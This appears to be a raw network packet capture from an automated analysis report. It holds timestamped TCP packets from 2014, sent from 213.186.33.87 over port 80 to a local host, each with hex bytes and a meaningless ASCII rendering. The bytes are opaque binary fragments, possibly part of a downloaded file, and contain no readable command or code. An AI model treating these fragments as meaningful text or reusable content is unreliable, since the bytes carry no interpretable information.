Aug 8, 2014 11:26:06.487101078 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 42 0a 0a 11 61 6f bb 0a 0a 0a 0a cb 0a 0a c7 0a a3 0a 34 0a b6 22 0a 00 0b 0a 4a 0a 52 0a 84 0a 0a 22 89 3b 0a 0a 26 ba 0a 0a 0a df 4f 60 a5 0a 44 0a 14 66 0a 0a be 0a 0a 0a 22 0a b1 ed 0a 16 67 03 0a 0a 0a 4a 0a 34 0a 79 34 ce 99 0a 7a 0a 0a
Data Ascii: Bao4"JR";&O`Df"gJ4y4z,_CF!dX/&|M|b5VZ@pd5wd_dp-m;tA
270
Aug 8, 2014 11:26:06.487118959 MESZ801032213.186.33.87192.168.1.13Data Raw: 33 0a 0a 0a 0a 0a c9 0a 18 0a b4 fd 8d 04 9f f7 05 0a 0a f8 0a 45 0a 0a 87 11 0a 0a bd 0a 0a 24 0a 5e 94 0a 0a 0a 09 98 4a 0a 0a 0a 14 0a c3 0a 11 0a 0a 9a 0a 0a 0a 4b 0a 0a 0a 0a 0a 82 0a e2 0f cf 0a 0a 2e c1 05 11 0a 0a b4 0a 0a 0a f5 23 59 0a
Data Ascii: 3E$^JK.#Y/s:|;@0>KCffCXlj`CXxP/\OU:NP4;
272
Aug 8, 2014 11:26:06.487520933 MESZ801032213.186.33.87192.168.1.13Data Raw: a7 11 0a a3 43 9e ec 0a 0a 0a 0a 3a 0a 54 0a 41 64 0a 14 0a 0a b4 73 0a ac 0a 0a 0a 4b 63 ac 3d 0a ed 78 95 0a 0a 7d 1f 0a 9c 0a 18 f6 e9 9d 3a 24 1d 2c 62 0a 52 41 0a 25 0a 88 0a c6 20 cc 12 0a a1 ff 0a 0a 0a 0a 6d 11 8e 2e 64 0a 0a 0a f9 53 0a
Data Ascii: C:TAdsKc=x}:$,bRA% m.dSr."Jp^K(Y%+(=^|xp$,,o&U=?!FBi2HpgsQ=(]|~$>9
272
Aug 8, 2014 11:26:06.487637997 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 0a 0a e1 0a 4c 0a 10 91 0a 1b 0a d6 0a 0a 0a 94 0a a3 0a 22 f2 0a 0a 0a 61 5e 25 e8 0a 0a 97 0a 41 0a e8 d8 b8 41 0a 20 0a 71 64 0a 0a 0a 0a 54 0c 8f f2 a0 7d 0a 0c 10 38 0a 0a 0a 47 0a 0a 0a d5 4e 5f 07 0a 27 80 54 0a 0a 0a 15 0a 4b f0 16
Data Ascii: L"a^%AA qdT}8GN_'TK@8 f~AS9#iI"w,8+1ji]K]LYD=|A3/2Mb
274
Aug 8, 2014 11:26:06.489393950 MESZ801032213.186.33.87192.168.1.13Data Raw: 84 59 f1 7d 0a 0a 2d 3c 44 0a 60 0a 02 0a 0a 25 5a 1f 0a 0a 0a 0e e2 0a ec 28 b6 0a 0a 0a b1 0a a9 18 0a 0a 7b 0a 70 0a 59 0a 0a 7a 0a 8d 91 79 0a 0a 0a f5 0a 05 0a cf 75 c5 0a 0a 49 68 9d 0a 0a 0a 50 0a 0a 0a d7 15 dc 50 0a 09 38 c0 9d f1 0a 0a
Data Ascii: Y}-<D`%Z({pYzyuIhPP80]//3bQKA&^0qJhV]sy _fcCF/p
275
Aug 8, 2014 11:26:06.489413977 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 42 0a 00 82 e7 0a 0a 47 b3 e0 09 53 c7 22 0a 0a 0a 3c f5 f4 ae 24 86 7c 51 0a b8 88 0a 40 0a 0a 01 1c 86 0a 53 0a 0a 97 86 0a 54 0a 0c f0 0a 51 0a f3 7d 98 0a fd 05 0a 0a 0a 0a 7b 05 0a d5 76 d6 0a 0a 0a 04 0a aa 0a 0a e4 c3 22 82 eb 95 bc
Data Ascii: BGS"<$|Q@STQ}{v"wElRq4B+V-96M9Y?8|x GT0$Xn\1n@[qgb@
277
Aug 8, 2014 11:26:06.489423037 MESZ801032213.186.33.87192.168.1.13Data Raw: 00 ed d1 03 fd 0a 88 0a 32 0a fc 24 37 40 b0 75 0a 92 35 4d 0a 04 0a 74 db 39 0a 0a 42 64 97 81 0a 0a 0a 0a 61 0a 05 0a 20 3e a7 0a 0a cc 4d 0a 0a 0a 0a 41 0a ce 28 cf 0a 0a 0a 26 b8 88 0a 0a 20 0a 0a 0a 89 da 8a 07 0a 40 6a 49 fa 24 0a 09 0a 1b
Data Ascii: 2$7@u5Mt9Bda >MA(& @jI$#4FLJq`NH=`$982G?0P?M{8RKm'qD))KYL(Z
278
Aug 8, 2014 11:26:06.490514040 MESZ801032213.186.33.87192.168.1.13Data Raw: 4b 22 0a 0a f9 1e 26 0a 0a 0a 01 22 3a 0a b6 f7 12 02 74 30 a9 46 2f 0a 0a 0a 0f b6 c4 0a 0a 0a 0a 0a 98 0a 2a 0a 1d 0a 98 0a 0a 0a 0a 0a 0a 89 0a 1c d4 1c 0a 0a 0a 4d 0a 51 4b 0a 59 0a 0a 0a 42 be 4a 0a f8 0a 0a 0a b8 0a e4 0a 80 eb 0a 72 04 98
Data Ascii: K"&":t0F/*MQKYBJr}}v?1NyDBBC`@+N0dd }%Gs##{L`7<0);Y
280
Aug 8, 2014 11:26:06.490518093 MESZ801032213.186.33.87192.168.1.13Data Raw: a5 0a 0a 0a 84 0a 8b 0a e9 20 02 98 0a 9c 13 73 a7 ef 58 0a 0a a7 0a 07 0a 36 8e 0a 70 39 db bf ad 1e 0a 72 0a 0a 50 0a 74 0a 0a 68 c5 44 be 0a 28 92 e9 4d 0a 4a d2 a1 4b 39 7f 82 0a 74 0a 0a c7 18 fd a6 ea 0a 5d d4 f2 0a 0a 41 4a 0a 0a da 2f b2
Data Ascii: sX6p9rPthD(MJK9t]AJ/P4?W%=dO|0@AT~0Z+"<KQ{}t"S|$od'|efGx,h1P
281
Aug 8, 2014 11:26:06.490520000 MESZ801032213.186.33.87192.168.1.13Data Raw: 98 0a 0a 0a 7c 0a 0a d0 0a 0a 25 0a 63 0a 0a 0a 08 89 8e 0a 0a 0e ad 0a 06 0a 3d d3 0a 71 60 4d 7f 0a 40 0a b3 0a 21 0a 21 0a 4b 0a 0a 34 0a 0a 0a 27 9c 14 ad 0a 9b 0a af 20 0c 70 0a 46 52 81 25 0a 0a 75 0a 0a b0 0a e5 0a 0a d1 0a 28 0a 0a de b8
Data Ascii: |%c=q`M@!!K4' pFR%u({(( T{p4=\<`u&a3NC-MjoA@^!Y<Z@x#B}/$7o
283
Aug 8, 2014 11:26:06.490520954 MESZ801032213.186.33.87192.168.1.13Data Raw: 00 0f b5 ff 0a 0a 0a 0a 0a 0a 0a fd 0a 0a 0a 0a c7 36 0a 0a 48 d9 52 0a 8d 0a 46 a9 0a 3c f0 d9 f3 8e 0a 0a 0a 0a ea 85 0a 0a 0a 80 73 0a 0a 0a 0a 70 2e 0a 16 64 0a 0a 96 0a 0a 0a 3d c9 0a 0d 0a fe 74 40 0a c6 57 0a 0a 0a 40 0a 53 0a 0a 92 0a 0a
Data Ascii: 6HRF<sp.d=t@W@SCh`P6cU7:Ap{z!7Uul|<KfSP>!uZpFF1%RW(Q8'5kC*0+@9
284
Aug 8, 2014 11:26:06.490523100 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 7c ce 0a 45 85 0a 0a 0a 7a 0a 0a 0a 0a 7f 17 0a 0a 0a 0a 89 1e 8d 5f 15 94 3a 82 db 8e c1 c8 0a 66 b4 1d 0a d0 0a 0a 0a 25 c0 0a 0a 0a 0a 0a c2 11 f1 f8 4e 2f 5a 67 0a 0a 0a 0a eb b3 0a 0a 5c 0a 14 0a 0a 69 0a 84 0a 0a de 0a 0a 04 0a 0a 1c
Data Ascii: |Ez_:f%N/Zg\ie LLaQ(HpCuU NZZGG*afo2:"\>|5e/'*g
286
Aug 8, 2014 11:26:06.490525007 MESZ801032213.186.33.87192.168.1.13Data Raw: bd 97 2c 0a 0e 0a 0a 0a e0 5c 0a 0a 0a 0a 7d 0a 0a 0a 92 74 3a 12 13 0a 9a b0 ae 88 98 10 e3 49 0a a1 70 0a 95 0a 09 0a 0a cc 5b 0a 64 0a ae 0a 0a 0a 0a 32 52 92 a1 2e 0a 0a 8e d5 50 0a 86 f3 7f 3f 0a 0a c7 85 0a 0a 0a 0a 82 0a 0a 52 0a 0a 0a 0a
Data Ascii: ,\}t:Ip[d2R.P?R 6|D,`[2?!!~=ksH&T";QLE|&&2\]K
287
Aug 8, 2014 11:26:06.490526915 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 52 0a 3d 4a 20 74 0a 09 0a 0a 0a 0a b4 0a 0a 0a 0a f0 76 0a ef e5 b9 5f 0a f5 c0 5c 0a 0a 0a b5 0a 4c 30 07 0a a6 0a ba 0a 0a 0a 0a 8a 0a 0a 0a 0a 0a 0a 0a 20 fb 0a 0a 67 30 2e d7 0a 20 d8 0a 52 0a 49 fd 0c 3a a3 e3 c1 0a d7 0a 0a 0a 0a 09 70
Data Ascii: R=J tv_\L0 g0. RI:px1,8$A9fF&O"?gRDXd,DJOe5WohL@3W32#%T9w
289
Aug 8, 2014 11:26:06.490529060 MESZ801032213.186.33.87192.168.1.13Data Raw: 28 cf 0a 0a 38 0a 0a 11 0a 0a 0a 0a 0a 0a f6 0a 0a 26 0a 0a 60 1f 91 0a 0a 7d a4 f8 58 de b3 52 0a 00 b8 07 8f dc c5 66 fc 0a 0a 0a 19 0a 0a 8c 0a 0a 0a 8d fc 40 22 89 52 c1 dd 94 53 19 0a 53 14 2b b2 e8 0a 10 51 93 19 0a fb 0a 0a ae 0a 0a 0a 0a
Data Ascii: (8&`}XRf@"RSS+QHQ7{/!5a}[n|Dz).TFGZ,D6Mhv
290
Aug 8, 2014 11:26:06.490684986 MESZ801032213.186.33.87192.168.1.13Data Raw: 80 44 0a f4 0a 0a e8 f1 52 65 c0 62 4e 53 00 00 00 00 e1 9b aa 00 00 00 00 00 91 31 cc 4c 4f 2c eb 44 ff 2f e9 4d 37 50 94 46 21 31 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Data Ascii: DRebNS1LO,D/M7PF!1>/@1qE3mC/.LP,PQ6PGKOgH2/A6P671SAQ<
292
Aug 8, 2014 11:26:06.490694046 MESZ801032213.186.33.87192.168.1.13Data Raw: f3 f6 de 9e 0a 83 0a a5 f2 00 f1 a2 0a 0a 0a 0a 96 95 21 ff 64 56 e0 d0 27 0a 39 6c 66 21 a1 0f 0a 0a 60 7c 0a be c3 26 42 17 d4 0a 0a 0a 0a 80 64 e8 0a 0f 93 68 0a 79 0a 36 5b 0a 0a 0a cd 63 42 0a 1e 7f e0 0a 9d 7f 0a 0a b6 0a d3 0a 2e d1 31 87
Data Ascii: !dV'9lf!`|&Bdhy6[cB.1:WWV5["[ltt$$o2`zD^e|i>8``n}"<U.5dD
292
Aug 8, 2014 11:26:06.490699053 MESZ801032213.186.33.87192.168.1.13Data Raw: 18 0a e9 69 ab 0a 0a fc 5a 0a 64 0a 51 82 0a d7 f6 e1 86 0a 0a 0a d8 df 9b b8 05 89 21 0a 0a 0a 0a 44 29 87 f2 cb 20 c2 0a 2b 0a f2 0a f2 d3 72 7d 0a 29 0a 0a 32 0a 66 44 0a c8 e0 72 80 c5 0a f9 0a 0a 48 0a 85 0a 38 0a 73 0a 4b 0a 0a 76 0a 0a 0a
Data Ascii: iZdQ!D) +r})2fDrH8sKv&uh=$- 2t38vtV2F8|A.Q}eEJ#^nT*AUY,ud;e>sLHU
294
Aug 8, 2014 11:26:06.490703106 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 4b 62 05 11 43 13 f8 97 0a 70 b9 cf 89 0a 82 9b 30 bd 40 c8 d8 f4 2d 0a ee 0a 5e a7 86 51 19 0a 0a c2 0a 0a fb 01 70 0a 0a 52 0a 0a 45 ab 0a b6 45 0a 1e d2 04 5c 0a 7b 0a 0d 0a 0a 0a 0a 1e 0a ef 52 3e 30 6a e5 36 65 9c 8c 0a 84 76 c2 62 c3
Data Ascii: KbCp0@-^QpREE\{R>0j6evbh<}YZV)4iy]F2ui0MeDAq5}i'k0tI6pD"WC4s
295
Aug 8, 2014 11:26:06.490892887 MESZ801032213.186.33.87192.168.1.13Data Raw: 47 0a 0a 0a 0a 3f 4a d7 10 23 0a d3 0a 83 0a 16 0a 80 0a 0a f1 09 0a 90 0a 82 0a a2 44 83 be bd f0 0a 63 58 fe 45 4f fc 0a 1a 0a b3 0a 27 b0 52 48 0a 65 a3 0a f5 00 d7 84 7c 89 0a d4 0a 0a 0a 04 4c 0a b5 0a b6 7a 0a 0a a0 0a b1 0a 09 3e 0a 9a 04
Data Ascii: G?J#DcXEO'RHe|Lz>$[XH!+#]5,D,^]'Js@$DZW*B 4NHGh_c"3DP
296
Aug 8, 2014 11:26:07.477032900 MESZ801032213.186.33.87192.168.1.13Data Raw: 82 e9 24 0a 0a 0a 0a 0a 2c dc 85 09 18 46 06 0a 7e 0a 0a 5a 0a 0a 01 fd 88 0a 09 0a 57 c3 1d 39 23 29 f5 11 0a 97 83 fd f4 77 cb ff 3e 0a a1 0a 09 0a 0a fc 43 0a c5 21 56 0a 23 d7 0a 4c d2 0a b4 84 dd ec 0a 0a 0a 00 d6 d9 8a 28 ef 2a c8 0a 0a 9a
Data Ascii: $,F~ZW9#)w>C!V#L(*1S3rsKNT}%00'D80PSE5.l$3QgeotA%+mlyg(Rd
298
Aug 8, 2014 11:26:07.477041006 MESZ801032213.186.33.87192.168.1.13Data Raw: 84 0a 0a 32 0a fe 0a a3 11 ae 03 7c 10 4c 0a d3 0a 0a 56 0a 3e 65 10 0a 0a 0a 0a 55 9f 0a 10 e4 0a 07 70 0e 0a 89 2b 5c 0a fd 1d c7 77 4b 88 c0 0a 0a 00 0a 0a 6c 0a 57 0a b4 30 0a 51 9c 0a 54 b8 0a 0a 4c 0a 11 0a 53 0a 0a ab 0a df 0a 09 0a 45 0a
Data Ascii: 2|LV>eUp+\wKlW0QTLSELto1P^YE@H!mA\B":<yu -1Bdc n2mpgb$U{)b*!!JO`
299
Aug 8, 2014 11:26:07.477044106 MESZ801032213.186.33.87192.168.1.13Data Raw: 98 95 b4 4f 0a 0a 09 08 60 4b 06 80 2a 93 46 0a ba 0a e5 0a 36 0a 18 a6 5c ad 50 94 f5 61 0a bb 2f 76 7c a7 0c 7c 0a f9 0a 0a 0a 84 bc 44 6e 0a 9f 0a 5c d5 e1 16 24 d0 7d 0a 0a ee 88 0a 88 0a 1b 44 0a 0a 0a 0a 0a 0a 0a 69 09 54 4d f9 f6 6f 27 0a
Data Ascii: O`K*F6\Pa/v||Dn\$}DiTMo'L0` 'P\[z?'xJ+H+6kpw>JaP<Ws(;,,V6e
300
Aug 8, 2014 11:26:07.477046967 MESZ801032213.186.33.87192.168.1.13Data Raw: b7 07 60 0a 0a 09 0a a4 0a 35 20 3c a1 c5 5b 2c 0f 62 1f 3e 64 82 f4 d2 0a 0a 8a 0a 10 c7 2a 75 0a 2e 0a 78 0a 44 0a 0a 0a 0a 0a 0a 5a 2a 41 0a 0e 0a 0a 61 0a a2 0a c9 08 f9 f8 44 25 61 0a 48 0a 46 0a 0a 0a f4 0a 9a 44 40 7c 09 28 2d 4a 40 2c 0a
Data Ascii: `5 <[,b>d*u.xDZ*AaD%aHFD@|(-J@,P2}n=X?-&3 zc,H wey(u:nTpB6nP(~@HZK(G@
302
Aug 8, 2014 11:26:07.477049112 MESZ801032213.186.33.87192.168.1.13Data Raw: 79 0a 1b 0a 53 b6 0a 0a 0a 0a 0a 0a d3 0a 0a 0a 0a 0a 0a 1d e4 ae c1 f8 0a 86 b7 19 76 43 55 0a a9 91 0c 47 f9 0a 0a 18 0a 0a 0a 0a 68 0a 0a 0a 0a 0a 0a 0a 0a 0a 61 0a b0 0a a6 0a 08 74 8f 0a f7 fe 26 6f 0a 89 84 0a 46 0a 33 0a 0a e9 0a 0a 0a 0a
Data Ascii: ySvCUGhat&oF3&H~K#HMP5('{i$`11jC@!F`jZ
303
Aug 8, 2014 11:26:07.477200985 MESZ801032213.186.33.87192.168.1.13Data Raw: 50 30 45 3b 08 9d 0a 0a 0a 0a 43 0a 0a 9a 0a 0a 0a 0a 80 0a 3a 70 0a 71 60 0a 00 65 53 2a 04 0a 81 4b dc 0a 3b 0a 0a 0a 0a 0a 0a a8 0a 0a 0a 0a 0a 0a 0a 0a 0a 8d 0a 0a e1 ce 0a c2 e9 0a 09 0a be 4c e7 19 ed 0a 0a 0a 0a 0a 13 0a 16 0a 0a 0a 0a 0a
Data Ascii: P0E;C:pq`eS*K;LXO{B.H`;\~p&0U3H";-x\E=PZ,#PIV
305
Aug 8, 2014 11:26:07.477205992 MESZ801032213.186.33.87192.168.1.13Data Raw: e0 35 bd 07 5d 0a 0a 0a 0a 9d 0a f4 1f 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 05 30 00 03 a2 0a 0a ee 7a 1c 98 0a f3 4a 92 0a 1f 0a 0a 56 0a 0a 0a 0a 62 0a 14 ea 0a 3d 0a 5c 0a 08 0a 49 a6 0a 30 aa a2 04 e8 e2 0a c4 0a 74 0a 9b 0a 0a 0a 0a 9c 0a 0a 0a 0a
Data Ascii: 5]0zJVb=\I0tqhj>YZC8P -e2kV\QFHk""G2
306
Aug 8, 2014 11:26:07.477207899 MESZ801032213.186.33.87192.168.1.13Data Raw: da 8b d5 83 45 38 0a d7 0a 0a 0a 98 0a 64 0a 0a 0a 0a 0a 0a d0 45 38 09 0a 3f b6 a9 0a 02 f0 43 96 0a fe 0a 88 0a 0a 0a 15 8d 0a 0a 0a 0a e1 0a 0a 0a 0a 11 0a 0a 4e 0a 0a 0a 0a 0a 0a 86 97 0a e1 04 0a 36 c2 0a a8 5d 0a 0a 14 df a9 0a 0a 0a 0a e3
Data Ascii: E8dE8?CN6]%n[ZKC*uRyPz"eTF%D]/!E!C[~q&
308
Aug 8, 2014 11:26:07.477272034 MESZ801032213.186.33.87192.168.1.13Data Raw: 33 96 70 0a cf db ba 71 0a 0a 0a 0a 3a 0a 0a 72 0a 0a 0a 0a fc 0a 0d 0a d7 0a 0a 0a 68 c5 2e 17 e9 1c e5 8d e4 0a 42 0a 9e 42 5d 1e 0a e5 0a 8b 0a 0a 22 0a 6a 0a f5 a1 08 0a 0a 0a 0a d9 82 0a 61 0a 2d 00 62 0a 51 0a 7e 0a 0a 92 0a 0a 0a 0a 0a 0a
Data Ascii: 3pq:rh.BB]"ja-bQ~Oq3fWLJftn1t~7 }!j)vZ(=).0vuG|PL_$\7z;
309
Aug 8, 2014 11:26:07.477458000 MESZ801032213.186.33.87192.168.1.13Data Raw: 09 0a 0a 0a 39 01 0a 0a 0a 0a 0a 0a 0a 0a 28 0a 0a 51 c6 3d 0a 0a 0a 0a 3c e2 6a b9 77 ca 71 b9 0a 1c 96 cc 0a d5 0a 7b 0a 0a 0a 0a f3 0a 01 0a e3 0a 9a 0a 3e b2 5a 38 0a ea 03 0a 58 e2 1c 0a 08 0a 06 9b 0a 0a 0a 49 0a 0a 54 0a 0a 41 b2 b8 6d 0a
Data Ascii: 9(Q=<jwq{>Z8XITAmXGuSTg0 Qku-#&GNaN)xH:m"_jIR`95+4
311
Aug 8, 2014 11:26:07.477463007 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 0a 40 0a 28 0a b7 0a 0a 0a 0a 0a 5b 0a 0a 26 0a 28 66 0a 73 0a b9 0a 56 8b 0a c2 a2 33 50 e1 4e e6 0a 0a 0a 47 4a 0a 0a 0a ba 0a 0a 0a 0a 0a 0a b2 0a 0a 50 0a 19 27 3d 0a 04 3b 0a 49 0a 4c 0a 52 31 64 a5 46 0a 0a 0a 0a 0a 0a 0a 19 0a 06 0a
Data Ascii: @([&(fsV3PNGJP'=;ILR1dFt`bSHif!"]B-su'H=X=L"xZ [i
312
Aug 8, 2014 11:26:07.477467060 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 0a d3 0a 0a b0 f3 88 16 a3 cc 0a 0a e0 0a 07 1a d7 3a 35 e1 41 0a 0a 31 13 0a cb 01 0a 89 0a 60 0a 53 0a 0a cf 0a 0a 0a 96 0a 95 0a bc 78 88 c0 0a 91 0a 18 c3 ce 38 0a 76 0a 0a 08 0a 0a 0a 10 64 f1 0a 0a 7c 0a 0a 0a 0a 10 7a 5c 97 04 0a 0a
Data Ascii: :5A1`Sx8vd|z\)v^0p>$u#W@<JfLy>x&@5qo$%KA,L_~,49Dv0Z},93&
314
Aug 8, 2014 11:26:07.477468967 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 7e b3 0f 56 04 8c d8 0a 5d 00 82 c6 61 77 0a 09 41 39 0a 24 0a d7 74 0a 0a 0a 0a 90 0a c8 0a e3 0a d1 0a bc 0a 0a 0a 3a 5d 2b 8d e9 41 5f 73 3e 5f 72 88 9a 31 f4 8a 21 66 d5 0a 0a 54 0a 21 b1 0a 8d 0a 78 0a 0a 0a 0a 0a 0a 95 ac 0a 69 0a 21
Data Ascii: ~V]awA9$t:]+A_s>_r1!fT!xi!>}#)L1]k(ofk4LwXGT\!z6M?@!If$iXg54tN5|)KtD1
315
Aug 8, 2014 11:26:07.477472067 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 43 0a 61 0a f9 0a 79 0a 0a 18 cd b9 0a 1d 82 0a 27 3b 04 a4 0a 0a 4e 07 03 4f 0a 78 0a 0a 41 0a 0a 0a 05 94 53 2c 0a 0a bc c4 0a 0a e7 57 b4 0a 91 c6 28 0a 0a 0a 57 0a e3 07 0a 0a e5 0a 0a 0a 8c 0a 0a 05 a8 0a 0a 0a 0a 0a 0a 46 83 66 0a 47 a2
Data Ascii: Cay';NOxAS,W(WFfG8IIF\Zw~@twK}Tji"xho6@n(Qi2R''s
317
Aug 8, 2014 11:26:07.477576971 MESZ801032213.186.33.87192.168.1.13Data Raw: bd 24 0a b3 af 20 0a 0a 0a 0a 47 39 a9 f4 0a 9f 0a ea 4e 4e 0a 4f f4 d9 f2 f1 c9 29 0a 0a 8c 0a 0a 9e 0a 0a 0a 94 0a 0a f3 0a 0a e8 e1 fa 0c 0a 90 1c 24 a2 0a cd 0a 0a db d3 4f 07 0a 0a 58 0a 0a 0a 0a 44 0a d6 0a 0a 9c 0a 0a 0a 0a 0c 0a 23 c3 5f
Data Ascii: $ G9NNO)$OXD#_VIa\Q<kmNK=PFG:#w:^A
317
Aug 8, 2014 11:26:07.477655888 MESZ801032213.186.33.87192.168.1.13Data Raw: 9e 0a 0a 0a 0a 5a 5e 0a 8f 0a b3 0a e4 0a 65 e2 84 0a 86 0a 6a ef 8c 51 90 0a 0e 21 09 0a 0a 0a 0a 0a 0a 0a 0a 0a 63 0a 01 0a 0a 0a 2c c2 0a 98 0a 19 88 df 6e 0a 2a 75 69 f8 fc 00 3f 0a 88 0e 0a 06 0a 0a 15 0a f2 0a 0a 2e 0a 0a 0a 0a e6 0a 0a 0a
Data Ascii: Z^ejQ!c,n*ui?.Wf:R/!G!:D<bm7dYhCjLG~T`g=A'~G\}<!)yb!1} nD
319
Aug 8, 2014 11:26:07.477659941 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 0a 0a 89 0a 0a 0a 0a b3 0a 0a fc 0a 71 1c 04 15 f8 21 3a ab 24 0a 0a 3e d5 28 1e 0a 70 48 0a 0a 0a 0a 0a 84 97 be d1 0a 0a 0a 0a 0a 0a 0a ae 0a b0 15 0a 3c 12 fa 0a d0 cc 7d 2a 0a 0c 0a 5e 70 5c e2 0a 0a 0a 0a 0a 0a 0a 0a b3 02 d3 4d 0a 0a
Data Ascii: q!:$>(pH<}*^p\M\={2iZ'+o:FHN7M2a[<\B(`FaB 3RqZd&AvP
320
Aug 8, 2014 11:26:07.477663994 MESZ801032213.186.33.87192.168.1.13Data Raw: c7 0a 0a a1 0a 6e 0a 0a 6b 0a c2 0a 72 b4 0a 0a 0b 0a 0a 75 80 28 e8 50 cb 33 20 78 36 0a 41 0a 57 0a 0a 0a 0a 0a 4c 0a c4 83 41 98 1b 0a 01 0a 3b 0a de 0a 49 28 c2 86 0a 81 14 ea 65 0a fa dc 7e 26 02 0e 0a 0a 22 0a f3 91 09 0a fb 0a 44 0a 0a 0a
Data Ascii: nkru(P3 x6AWLA;I(e~&"Dr-`Hj8R($I, hDL&JdL \$`,@(Hj"%7bbgXw&E
321
Aug 8, 2014 11:26:07.477665901 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 66 0a 0a 0a 0a 0f 0a 0a 6b 0a d8 0a 3a 52 2f 0b 0a 0a 40 0a d1 0a b8 4d f8 0a 02 27 eb 80 0a 0a 11 0a 0a 0a 0a 88 b0 0a 44 0a 0a 0a 9c 0a 46 d0 0a 67 2f 1c 0a 0a 31 0d 57 0a 6c 0a 27 0a 00 c4 fc 0a 0a 62 0a 0a a8 78 2e f5 80 e9 2b a3 f8 8c
Data Ascii: fk:R/@M'DFg/1Wl'bx.+o=kmENo0wH@raC!'brv=DBt&!B0 ~v
323
Aug 8, 2014 11:26:07.477752924 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 8d 0a 9b 0a 0b ed 6f 5e 0a 7c 99 69 0a 31 c5 0a 0a 2d 0a 0a 0a 0a 0a 00 0a 24 0a 33 00 79 0a 0a 0a 0a 01 01 bb fc 0a 3a e4 40 0a 0a 0a 35 0a e2 0a 68 2e 38 08 d7 0a da 0a 0a 0a 0a 75 b6 0a a8 0a 0a 0a 42 39 70 0a a4 0a 0a 32 d4 08 7b 38 be da
Data Ascii: o^|i1-$3y:@5h.8uB9p2{8!uXF5\9|QiQH"wD4!>G8udF`n!Fu
324
Aug 8, 2014 11:26:07.477823019 MESZ801032213.186.33.87192.168.1.13Data Raw: c3 04 0a 0a 0a b3 f7 13 9f 0a 3c 8d 0a 3b fd a2 89 8f ae de 0a c0 0a 0a a5 0a 0a 0a 21 72 24 19 ae 42 0a be 0a 2d bb da cb f4 44 0a 0a 0a fb 0a 0a 0a 0a 12 0a 0a 0a 0a 07 0a 0a 50 32 11 0a 93 08 b2 0a 0a 0a b5 f6 0a 0f 0a c8 ca 0a 83 34 2f f8 b9
Data Ascii: <;!r$B-DP24/-#[v@8~A_'<f RB"++F<#FM-n>4@
325
Aug 8, 2014 11:26:07.477833033 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 90 64 0a 0a 40 0a 0a 0a e0 d0 7c 0a 17 0a cb 0a 0a 8b 0a 18 0a 0a 0a 0a 40 0a 0a a9 e8 d0 aa 5f 0a 0f 0a 0a 46 d3 39 0a 0a 0a 0a 05 68 31 24 0a 0a a3 0a 0a 42 0a c2 0a 03 5c 0a 0a 0a 0a c8 8d f9 0a d3 f6 2b 0a 40 2a 1f 49 0a cb 0a 15 1f 0a 0a
Data Ascii: d@|@_F9h1$B\+@*I6u~/*3v;G%%lvi9[Wt4PmS cIK}]z d-DNLWA?A'X]
327
Aug 8, 2014 11:26:07.477835894 MESZ801032213.186.33.87192.168.1.13Data Raw: a2 1c 0a f5 76 96 0a 0a bd 20 ca 80 a2 1c af 12 21 6c 0a 0a 0a e2 0a 0a f8 0a 0a 92 0a 0a 35 08 f3 2a 0a 94 0a 20 0a 21 94 9f 83 0a 0a 0a af 0a 0a 0a 0a f4 0a 0a 64 0a cf 44 0a 5c 5e 0a 0a 0a a2 f0 a2 b5 0a 0a 0a 19 28 62 a3 71 50 2c b0 00 2d 2e
Data Ascii: v !l5* !dD\^(bqP,-.g&P[1|Bros""`G7AS1rXX|;|pDiGHU+j:5
328
Aug 8, 2014 11:26:07.477905035 MESZ801032213.186.33.87192.168.1.13Data Raw: 49 1d 0a 7f 93 0a 0a e6 22 97 68 0a 99 b6 92 bc f6 bc 0a 2b 4a 0a 0a 84 0a 2a 0a 0a 0a 0a be c7 86 42 e9 e0 0a 02 cf 24 02 b8 5c fe d0 0a 0a 28 0a 0a 0a 0a 0a 46 0a 0a 0a 0a a2 0a 0a 0a 0a 97 50 0a 32 92 0a 10 b1 1a 0a 78 49 6a 0a 0a 0a c1 71 8b
Data Ascii: I"h+J*B$\(FP2xIjqbBbNE;hET!Cv:r07j$+J:QdGo8pH
329
Aug 8, 2014 11:26:07.478038073 MESZ801032213.186.33.87192.168.1.13Data Raw: 5a 6a 0a 32 0a 72 0a 0a a3 0a 0a 0a 7c 6c 8d 0a b1 60 64 8f 0a 0a 0a 67 0c 41 ee 8e 4c 0a 48 1f 0a 0a 0a ba 0a 0a 0a 0a 0a 0a 0a 0a 0a 5a 0a 40 0a 48 0a b0 eb 0a 0a 21 0a 0a 39 0a 0a 0a 95 c0 20 c5 0a 0a 09 0a e9 f9 0a b1 2e 17 d0 0a cf 0a 0a 40
Data Ascii: Zj2r|l`dgALHZ@H!9 .@d!7'!gWBpd5="Dr"/45(SDA$|
331
Aug 8, 2014 11:26:07.478041887 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 0a 0a 6a 0a 0a 70 0a 0a 0a 0a 00 da 0a 61 0a cc a1 67 0a 5a df bb 05 e3 e5 fd 77 26 14 f6 0a c7 24 5c 0a 0a 0a 2e 0a 0a 96 0a e8 0a 0b e1 99 0a 0a 82 54 32 f5 58 bc f7 fc 0a 0a 0a 6f 0a a0 93 0a 6b 0a 69 5a 0a 0a 0a c8 0a f1 3b c3 0a e8 0a
Data Ascii: jpagZw&$\.T2XokiZ;8G6w=1400GKBfu b0fX|&&@@)Co^HQ",!\
332
